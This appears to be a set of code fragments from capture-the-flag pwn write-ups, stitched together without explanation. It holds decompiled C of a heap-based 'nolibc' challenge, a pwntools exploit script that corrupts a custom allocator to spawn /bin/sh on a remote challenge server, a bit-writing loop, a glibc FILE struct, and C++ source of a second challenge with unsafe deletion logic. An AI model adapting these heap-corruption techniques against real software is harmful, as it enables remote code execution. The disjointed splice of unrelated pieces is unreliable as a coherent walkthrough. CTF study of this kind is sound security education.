__int64 register()
{
    int *state; // [rsp+8h] [rbp-18h]
    int *password; // [rsp+10h] [rbp-10h]
    int *username; // [rsp+18h] [rbp-8h]
 
    if ( registered > 0 )
        return puts("You can only register one account!");
    print_str("Username: ");
    username = malloc(0x20);
    if ( username ) {
        read_str((char *)username, 0x20);
        if ( (unsigned int)strlen((__int64)username) ) {
            print_str("Password: ");
            password = malloc(0x20);
            if ( password ) {
                read_str((char *)password, 0x20);
                if ( (unsigned int)strlen((__int64)password) ) {
                    state = malloc(0x4010);               // register the user in the heap
                    *(_QWORD *)state = username;
                    *((_QWORD *)state + 1) = password;
                    state[4] = 0;
                    global_array[registered++] = state;   // global_array[0] = state
                    return puts("User registered successfully!");
                } else {
                    puts("Invalid password");
                    free((unsigned __int64)password);
                    return register();
                }
            } else {
                puts("Invalid password");
                free(0LL);
                return register();
            }
        } else {
            puts("Invalid username");
            free((unsigned __int64)username);
            return register();
        }
    } else {
        puts("Invalid username");
        free(0LL);
        return register();
    }
}

puts((__int64)"1. Add string");
puts((__int64)"2. Delete string");
puts((__int64)"3. View strings");
puts((__int64)"4. Save to File");
puts((__int64)"5. Load from File");
puts((__int64)"6. Logout");
print_str("Choose an option: ");
      ```
 
### `create_string`
 
We can create a string with a certain length between 0x0 and 0x100. The string
is created with `malloc(size + 1)`, and we can write `size + 1` bytes to it.
Note that the `malloc` implementation is custom which we'll look at later.
 
After the string is created, a pointer to it is appended to the user's data, and
the string count is incremented.
 
```c
__int64 create_string()
{
    int *new_string; // [rsp+0h] [rbp-10h]
    int length; // [rsp+Ch] [rbp-4h]
 
    if ( *(int *)(global_array[user] + 16LL) > 0x7FE )
        return puts((__int64)"You have reached the maximum number of strings");
    print_str("Enter string length: ");
    length = read_int();
    if ( length > 0 && length <= 0x100 ) {
        print_str("Enter a string: ");
        new_string = malloc(length + 1);
        if ( !new_string ) {
            puts((__int64)"Failed to allocate memory");
            puts((__int64)&byte_3124);
            exit();
        }
        read_str((__int64)new_string, length + 1);
        *(_QWORD *)(global_array[user] + 8 * ((int)(*(_DWORD *)(global_array[user] + 16LL))++ + 2LL) + 8) = new_string;
        return puts((__int64)"String added successfully!");
    } else {
        puts((__int64)"Invalid length");
        return puts((__int64)&byte_3124);
    }
}

__int64 delete_string()
{
  int v1; // [rsp+8h] [rbp-8h]
  int i; // [rsp+Ch] [rbp-4h]
 
  if ( *(_DWORD *)(global_array[user] + 16LL) ) {
    print_str("Enter the index of the string to delete: ");
    v1 = read_int();
    if ( v1 >= 0 && v1 < *(_DWORD *)(global_array[user] + 16LL) ) {
      free(*(_QWORD *)(global_array[user] + 8 * (v1 + 2LL) + 8));
      for ( i = v1; i < *(_DWORD *)(global_array[user] + 16LL) - 1; ++i )// shift strings after back
        *(_QWORD *)(global_array[user] + 8 * (i + 2LL) + 8) = *(_QWORD *)(global_array[user] + 8 * (i + 1 + 2LL) + 8);
      --*(_DWORD *)(global_array[user] + 16LL);
      return puts("String deleted successfully!");
    } else {
      puts("Invalid index");
      return puts(&byte_3124);
    }
  } else {
    puts("No strings to delete");
    return puts(&byte_3124);
  }
}

__int64 view_string()
{
  __int64 result; // rax
  int i; // [rsp+Ch] [rbp-4h]
 
  if ( *(_DWORD *)(global_array[user] + 16LL) ) {
    for ( i = 0; ; ++i ) {
      result = *(unsigned int *)(global_array[user] + 16LL);
      if ( i >= (int)result )
        break;
      print_str("String ");
      print_num((unsigned int)i);
      print_str(": ");
      puts(*(_QWORD *)(global_array[user] + 8 * (i + 2LL) + 8));
    }
  } else {
    puts("No strings to view");
    return puts(&byte_3124);
  }
  return result;
}

int *save_strings_to_file()
{
    int v1; // [rsp+8h] [rbp-28h]
    int *file_contents; // [rsp+10h] [rbp-20h]
    int *filename; // [rsp+18h] [rbp-18h]
    int j; // [rsp+24h] [rbp-Ch]
    int i; // [rsp+28h] [rbp-8h]
    int size; // [rsp+2Ch] [rbp-4h]
 
    print_str("Enter the filename: ");
    filename = malloc(0x20);
    if ( filename
        && (read_str((char *)filename, 0x20), (unsigned int)strlen((__int64)filename))
        && !(unsigned int)strstr((__int64)filename, (__int64)"flag") )
    {
        file_contents = malloc(0x7FFF);
        if ( !file_contents ) {
            puts("Failed to allocate memory");
            puts((char *)&byte_3124);
            exit();
        }
        size = 0;
        for ( i = 0; i < *(_DWORD *)(global_array[user] + 16LL); ++i ) {
            v1 = strlen(*(_QWORD *)(global_array[user] + 8 * (i + 2LL) + 8));
            for ( j = 0; j < v1; ++j )
                *((_BYTE *)file_contents + size++) = *(_BYTE *)(*(_QWORD *)(global_array[user] + 8 * (i + 2LL) + 8) + j);
            *((_BYTE *)file_contents + size++) = '\n';
        }
        if ( (int)write_to_file((char *)filename, (char *)file_contents, size) >= 0 ) {
            puts("Strings saved to file successfully!");
            return free((unsigned __int64)file_contents);
        } else {
            puts("Failed to write file");
            return (int *)puts((char *)&byte_3124);
        }
    } else {
        puts("Invalid filename");
        return (int *)puts((char *)&byte_3124);
    }
}

int *load_strings_from_file()
{
    int *string; // [rsp+0h] [rbp-30h]
    int file; // [rsp+Ch] [rbp-24h]
    int *file_contents; // [rsp+10h] [rbp-20h]
    int *filename; // [rsp+18h] [rbp-18h]
    int i; // [rsp+20h] [rbp-10h]
    int size; // [rsp+24h] [rbp-Ch]
    int v7; // [rsp+28h] [rbp-8h]
    int v8; // [rsp+2Ch] [rbp-4h]
 
    print_str("Enter the filename: ");
    filename = malloc(32);
    if ( filename
        && (read_str((__int64)filename, 32), (unsigned int)strlen((__int64)filename))
        && !(unsigned int)strstr((__int64)filename, (__int64)"flag") )
    {
        file_contents = malloc(0x7FFF);
        if ( !file_contents ) {
            puts((__int64)"Failed to allocate memory");
            puts((__int64)&byte_3124);
            exit();
        }
        file = open_and_read_file((char *)filename, (char *)file_contents, 0x7FFF);
        if ( file >= 0 ) {
            v8 = 0;
            v7 = 0;
            while ( v8 < file ) {
                size = 0;
                while ( *((_BYTE *)file_contents + v8) != '\n' ) {
                    ++size;
                    ++v8;
                }
                string = malloc(size + 1);
                if ( !string ) {
                    puts((__int64)"Failed to allocate memory");
                    puts((__int64)&byte_3124);
                    exit();
                }
                for ( i = 0; i < size; ++i )
                    *((_BYTE *)string + i) = *((_BYTE *)file_contents + v7++);
                *((_BYTE *)string + size) = 0;
                *(_QWORD *)(global_array[user] + 8 * ((int)(*(_DWORD *)(global_array[user] + 16LL))++ + 2LL) + 8) = string;
                ++v8;
                ++v7;
            }
            puts((__int64)"Strings loaded from file successfully!");
            return free((unsigned __int64)file_contents);
        } else {
            puts((__int64)"Failed to read file");
            return (int *)puts((__int64)&byte_3124);
        }
    } else {
        puts((__int64)"Invalid filename");
        return (int *)puts((__int64)&byte_3124);
    }
}

int *__fastcall malloc(int size)
{
    char *last_remainder; // [rsp+4h] [rbp-20h]
    signed int asize; // [rsp+10h] [rbp-14h]
    signed int *next_victim; // [rsp+14h] [rbp-10h]
    signed int *cur_victim; // [rsp+1Ch] [rbp-8h]
 
    if ( !size )
        return 0LL;
    asize = (size + 15) & 0xFFFFFFF0;
    cur_victim = (signed int *)smallest_freed_chunk;
    next_victim = 0LL;
    while ( 1 )
    {
        if ( !cur_victim )
            return 0LL;
        if ( asize <= *cur_victim )
            break;
        next_victim = cur_victim;
        cur_victim = (signed int *)*((_QWORD *)cur_victim + 1);
    }
    if ( *cur_victim >= (unsigned __int64)(asize + 16LL) )// split into last remainder
    {
        last_remainder = (char *)cur_victim + asize + 16;
        *(_DWORD *)last_remainder = *cur_victim - asize - 16;
        *((_QWORD *)last_remainder + 1) = *((_QWORD *)cur_victim + 1);
        *((_QWORD *)cur_victim + 1) = last_remainder;
        *cur_victim = asize;
    }
    if ( next_victim )
        *((_QWORD *)next_victim + 1) = *((_QWORD *)cur_victim + 1);
    else
        smallest_freed_chunk = *((_QWORD *)cur_victim + 1);
    return cur_victim + 4;
}

p.sendlineafter(b"Choose an option", b"2")
p.sendlineafter(b"Username:", b"samuzora")
p.sendlineafter(b"Password:", b"password")
p.sendlineafter(b"Choose an option", b"1")
p.sendlineafter(b"Username:", b"samuzora")
p.sendlineafter(b"Password:", b"password")
 
p.sendlineafter(b"Choose an option", b"5")
p.sendlineafter(b"filename:", b"/dev/stdin")
 
payload = b"a" * 0x3f40
payload = payload[:-1]
p.sendline(payload)

p.sendlineafter(b"Choose an option", b"5")
p.sendlineafter(b"filename:", b"/dev/stdin")
 
payload = b"a" * 0x3f30
payload += p32(0x0)
payload += p32(0x1)
payload += p32(0x3b)
p.sendline(payload)
 
p.sendlineafter(b"Choose an option", b"5")
p.sendline(b"/bin/sh")

for i in range(0xbf):
    print(i)
    create_string(0xef, b"asdf")
 
payload = b"a"*0x70
payload += p32(0x0)
payload += p32(0x1)
payload += p32(0x3b)
payload += p32(0x3)
create_string(0x7f, payload)
 
# make space
delete_string(0)
 
p.sendlineafter(b"Choose an option", b"5")
p.sendline(b"/bin/sh")

#!/usr/bin/env python3
 
from pwn import *
 
exe = ELF("./main")
 
context.binary = exe
 
if args.LOCAL:
    p = process([exe.path])
    if args.GDB:
        gdb.attach(p)
        pause()
else:
    p = remote("nolibc.chals.sekai.team", 1337, ssl=True)
 
def create_string(size: int, data: bytes):
    p.sendlineafter(b"Choose an option", b"1")
    p.sendlineafter(b"Enter string length:", str(size).encode())
    p.sendlineafter(b"string:", data)
 
def delete_string(idx: int):
    p.sendlineafter(b"Choose an option", b"2")
    p.sendlineafter(b"string to delete:", str(idx).encode())
 
# good luck pwning :)
 
p.sendlineafter(b"Choose an option", b"2")
p.sendlineafter(b"Username:", b"samuzora")
p.sendlineafter(b"Password:", b"password")
p.sendlineafter(b"Choose an option", b"1")
p.sendlineafter(b"Username:", b"samuzora")
p.sendlineafter(b"Password:", b"password")
 
for i in range(0xbf):
    print(i)
    create_string(0xef, b"asdf")
 
payload = b"a"*0x70
payload += p32(0x0)
payload += p32(0x1)
payload += p32(0x3b)
payload += p32(0x3)
create_string(0x7f, payload)
 
delete_string(0)
 
p.sendlineafter(b"Choose an option", b"5")
p.sendline(b"/bin/sh")
 
p.interactive()
# SEKAI{shitty_heap_makes_a_shitty_security}

def fight(win: bool):
    p.sendlineafter(b"> ", b"f")
    if win:
        p.sendline(b"-1")
    else:
        p.sendline(b"0")
 
payload = p64(0xdeadbeef, endian="big")
hexstr = payload.hex()
binstr = "{:08b}".format(int(hexstr, 16))
binstr = [binstr[i:i+64][::-1] for i in range(0, len(binstr), 64)]
 
print(binstr)
 
counter = 0
for num in binstr:
    for i in num:
        counter += 1
        if counter % 100 == 0:
            print(counter)
        if i == "0":
            fight(False)
        else:
            fight(True)

struct _IO_FILE_complete_plus
{
    int _flags;		/* High-order word is _IO_MAGIC; rest is flags. */
 
    /* The following pointers correspond to the C++ streambuf protocol. */
    char *_IO_read_ptr;	/* Current read pointer */
    char *_IO_read_end;	/* End of get area. */
    char *_IO_read_base;	/* Start of putback+get area. */
    char *_IO_write_base;	/* Start of put area. */
    char *_IO_write_ptr;	/* Current put pointer. */
    char *_IO_write_end;	/* End of put area. */
    char *_IO_buf_base;	/* Start of reserve area. */
    char *_IO_buf_end;	/* End of reserve area. */
 
    /* The following fields are used to support backing up and undo. */
    char *_IO_save_base; /* Pointer to start of non-current get area. */
    char *_IO_backup_base;  /* Pointer to first valid character of backup area */
    char *_IO_save_end; /* Pointer to end of non-current get area. */
 
    struct _IO_marker *_markers;
 
    struct _IO_FILE *_chain;
 
    int _fileno;
    int _flags2;
    __off_t _old_offset; /* This used to be _offset but it's too small.  */
 
    /* 1+column number of pbase(); 0 is unknown. */
    unsigned short _cur_column;
    signed char _vtable_offset;
    char _shortbuf[1];
 
    _IO_lock_t *_lock;
 
    __off64_t _offset;
    /* Wide character stream stuff.  */
    struct _IO_codecvt *_codecvt;
    struct _IO_wide_data *_wide_data;
    struct _IO_FILE *_freeres_list;
    void *_freeres_buf;
    size_t __pad5;
    int _mode;
    /* Make sure we don't get into trouble again.  */
    char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
 
    const struct _IO_jump_t *vtable;
};

void simulate() {
    unsigned long long bot_num, player_num;
    printf("Bot number: ");
    scanf("%llu%*c", &bot_num);
    printf("Player number: ");
    scanf("%llu%*c", &player_num);
 
    printf("Simulation result: ");
    cmp(bot_num, player_num) ? puts("Bot win!"): puts("You win!");
    return;
}

class Company {
private:
    std::string company_name {""};
    uint64_t company_budget {1000};
    uint64_t company_age {0};
    std::vector<Project*> projects {};
};

class Project {
private:
    std::string project_name {""};
    uint64_t profit_per_week { 100 };
    std::vector<Worker*> workers {};
    Company *company { nullptr };
};

class Worker {
private:
    std::string name {""};
    uint64_t salary;
    Project *project;
};

int main() {
    init();
    std::string input = "";
    std::string function = "";
    while(1) {
        print_earnings();
        std::getline(std::cin, input);
        std::istringstream iss(input + '\n');
        iss >> function;
        if(!iss.good()) {
            std::cerr << "ERR: Input" << std::endl;
            break;
        }
        if(function == "exit") break;
        else if(function == "add_company")     add_company(iss);
        else if(function == "sell_company")    sell_company(iss);
        else if(function == "add_project")     add_project(iss);
        else if(function == "remove_project")  remove_project(iss);
        else if(function == "hire_worker")     hire_worker(iss);
        else if(function == "fire_worker")     fire_worker(iss);
        else if(function == "move_worker")     move_worker(iss);
        else if(function == "worker_info")     worker_info(iss);
        else if(function == "elapse_week")     elapse_week();
        else {
            std::cerr << "ERR: Invalid Function" << std::endl;
        }
    }
    return 0;
}

void add_company(std::istringstream& iss) {
    std::string company_name = "";
    uint64_t company_budget = 0;
    iss >> company_name >> company_budget;
    if(!iss.good()) {
        std::cerr << "ERR: Invalid Value" << std::endl;
        return;
    }
    if(company_budget < 1000 || company_budget > total_net_worth) {
        std::cerr << "ERR: Invalid Value" << std::endl;
        return;
    }
    for(auto it : companies) {
        if(it->get_company_name() == company_name) {
            std::cerr << "ERR: Invalid Value" << std::endl;
            return;
        }
    }
    Company *new_company = new Company(company_name, company_budget);
    companies.emplace_back(new_company);
    total_net_worth -= company_budget;
    std::cerr << "INFO: Success" << std::endl;
    return;
}

void add_project(std::istringstream& iss) {
    std::string company_name = "", project_name = "";
    uint64_t project_profit_per_week = 0;
    iss >> company_name >> project_name >> project_profit_per_week;
    if(!iss.good()) {
        std::cerr << "ERR: Invalid Value" << std::endl;
        return;
    }
    Company *company = nullptr;
    for(auto it : companies) {
        if(it->get_company_name() == company_name) {
            company = it;
            break;
        }
    }
    if(company == nullptr) {
        std::cerr << "ERR: Not Exist" << std::endl;
        return;
    }
    if(project_profit_per_week < 500 || project_profit_per_week > 1000000) {
        std::cerr << "ERR: Invalid Value" << std::endl;
        return;
    }
    if(company->get_project_by_name(project_name) != nullptr) {
        std::cerr << "ERR: Invalid Value" << std::endl;
        return;
    }
    Project *project = new Project(project_name, company, project_profit_per_week);
    company->add_project(project);
    std::cerr << "INFO: Success" << std::endl;
    return;
}
 
Project* Company::add_project(Project *project) {
    return this->projects.emplace_back(project);
}

void hire_worker(std::istringstream& iss) {
    std::string company_name = "", project_name = "", worker_name = "";
    uint64_t salary = 0;
    iss >> company_name >> project_name >> worker_name >> salary;
    if(!iss.good()) {
        std::cerr << "ERR: Invalid Value" << std::endl;
        return;
    }
    Company *company = nullptr;
    for(auto it : companies) {
        if(it->get_company_name() == company_name) {
            company = it;
            break;
        }
    }
    if(company == nullptr) {
        std::cerr << "ERR: Not Exist" << std::endl;
        return;
    }
    Worker *worker = nullptr;
    for(auto it : workers) {
        if(it->get_name() == worker_name) {
            worker = it;
            break;
        }
    }
    if(worker != nullptr) {
        std::cerr << "ERR: Invalid Value" << std::endl;
        return;
    }
    Project* project = company->get_project_by_name(project_name);
    if(project == nullptr) {
        std::cerr << "ERR: Not Exist" << std::endl;
        return;
    }
    if(project->get_worker_by_name(worker_name) != nullptr) {
        std::cerr << "ERR: Invalid Value" << std::endl;
        return;
    }
    if(salary > 100) {
        std::cerr << "ERR: Invalid Value" << std::endl;
        return;
    }
    Worker* new_worker = new Worker(worker_name, project, salary);
    project->add_worker(new_worker);
    workers.emplace_back(new_worker);
    std::cerr << "INFO: Success" << std::endl;
    return;
}
 
Worker* Project::add_worker(Worker *worker) {
    return this->workers.emplace_back(worker);
}

void move_worker(std::istringstream& iss) {
    std::string worker_name = "", new_project_name = "";
    iss >> worker_name >> new_project_name;
    if(!iss.good()) {
        std::cerr << "ERR: Invalid Value" << std::endl;
        return;
    }
    Worker* worker = nullptr;
    for(auto it : workers) {
        if(it->get_name() == worker_name) {
            worker = it;
            break;
        }
    }
    if(worker == nullptr) {
        std::cerr << "ERR: Not Exist" << std::endl;
        return;
    }
    Project* old_project = worker->get_project();
    Company* company = old_project->get_company();
    Project* new_project = company->get_project_by_name(new_project_name);
    if(new_project == nullptr) {
        std::cerr << "ERR: Not Exist" << std::endl;
        return;
    }
    company->move_worker(worker, new_project);
    std::cerr << "INFO: Success" << std::endl;
    return;
}
 
void Company::move_worker(Worker *worker, Project *new_project) {
    Project *old_project = worker->get_project();
    old_project->remove_worker(worker);
    new_project->add_worker(worker);
    worker->set_project(new_project);
}
 
void Project::remove_worker(Worker *worker) {
    this->workers.erase(std::remove(this->workers.begin(), this->workers.end(), worker), this->workers.end());
}

void worker_info(std::istringstream& iss) {
    std::string worker_name = "";
    iss >> worker_name;
    if(!iss.good()) {
        std::cerr << "ERR: Invalid Value" << std::endl;
        return;
    }
    Worker* worker = nullptr;
    for(auto it : workers) {
        if(it->get_name() == worker_name) {
            worker = it;
            break;
        }
    }
    if(worker == nullptr) {
        std::cerr << "ERR: Not Exist" << std::endl;
        return;
    }
    std::cout << "Worker details: " << std::endl;
    std::cout << "Name: " << worker->get_name() << std::endl;
    std::cout << "Salary: " << worker->get_salary() << std::endl;
    std::cout << "Project details: " << std::endl;
    std::cout << "Project name: " << worker->get_project()->get_project_name() << std::endl;
    std::cout << "Project profit per week: " << worker->get_project()->get_profit_per_week() << std::endl;
    std::cout << "Project workers count: " << worker->get_project()->number_of_workers() << std::endl;
    std::cout << "Company details: " << std::endl;
    std::cout << "Company name: " << worker->get_project()->get_company()->get_company_name() << std::endl;
    std::cout << "Company budget: " << worker->get_project()->get_company()->get_company_budget() << std::endl;
    std::cout << "Company age: " << worker->get_project()->get_company()->get_company_age() << std::endl;
    std::cout << "Company project count: " << worker->get_project()->get_company()->number_of_projects() << std::endl;
}

void fire_worker(std::istringstream& iss) {
    std::string worker_name = "";
    iss >> worker_name;
    if(!iss.good()) {
        std::cerr << "ERR: Invalid Value" << std::endl;
        return;
    }
    Worker* worker = nullptr;
    for(auto it : workers) {
        if(it->get_name() == worker_name) {
            worker = it;
            break;
        }
    }
    if(worker == nullptr) {
        std::cerr << "ERR: Not Exist" << std::endl;
        return;
    }
    Project* project = worker->get_project();
    Company* company = project->get_company();
    company->fire_worker(worker);
    workers.erase(std::remove(workers.begin(), workers.end(), worker), workers.end());
    delete worker;
    std::cerr << "INFO: Success" << std::endl;
    return;
}
 
void Company::fire_worker(Worker *worker) {
    Project *project = worker->get_project();
    project->remove_worker(worker);
}

Worker::~Worker() {
    this->name.clear();
    this->project = nullptr;
    this->salary = 0;
}

void remove_project(std::istringstream& iss) {
    std::string company_name = "", project_name = "";
    iss >> company_name >> project_name;
    if(!iss.good()) {
        std::cerr << "ERR: Invalid Value" << std::endl;
        return;
    }
    Company *company = nullptr;
    for(auto it : companies) {
        if(it->get_company_name() == company_name) {
            company = it;
            break;
        }
    }
    if(company == nullptr) {
        std::cerr << "ERR: Not Exist" << std::endl;
        return;
    }
    Project *project = company->get_project_by_name(project_name);
    if(project == nullptr) {
        std::cerr << "ERR: Not Exist" << std::endl;
        return;
    }
    if(project->number_of_workers() != 0) {
        std::cerr << "ERR: Not Allowed" << std::endl;
        return;
    }
    company->remove_project(project);
    delete project;
    std::cerr << "INFO: Success" << std::endl;
    return;
}
 
void Company::remove_project(Project *project) {
    this->projects.erase(std::remove(this->projects.begin(), this->projects.end(), project), this->projects.end());
}
 
Project::~Project() { 
    this->project_name.clear();
    this->workers.clear();
    this->company = nullptr;
    this->profit_per_week = 0;
}

void sell_company(std::istringstream& iss) {
    std::string company_name = "";
    iss >> company_name;
    if(!iss.good()) {
        std::cerr << "ERR: Invalid Value" << std::endl;
        return;
    }
    Company *company_to_remove = nullptr;
    for(auto it : companies) {
        if(it->get_company_name() == company_name) {
            company_to_remove = it;
            break;
        }
    }
    if(company_to_remove == nullptr) {
        std::cerr << "ERR: Not Exist" << std::endl;
        return;
    }
 
    // if company has both workers and budget, it can't be sold
    if(!(
        company_to_remove->number_of_workers() == 0 
        || company_to_remove->get_company_budget() == 0
    )) {
        std::cerr << "ERR: Not Allowed" << std::endl;
        return;
    }
    total_net_worth += company_to_remove->get_company_budget();
    companies.erase(std::remove(companies.begin(), companies.end(), company_to_remove), companies.end());
    company_to_remove->remove_projects();
    delete company_to_remove;
    std::cerr << "INFO: Success" << std::endl;
    return;
 
}
 
void Company::remove_projects() {
    for(auto it : this->projects) {
        delete it;
    }
    this->projects.clear();
}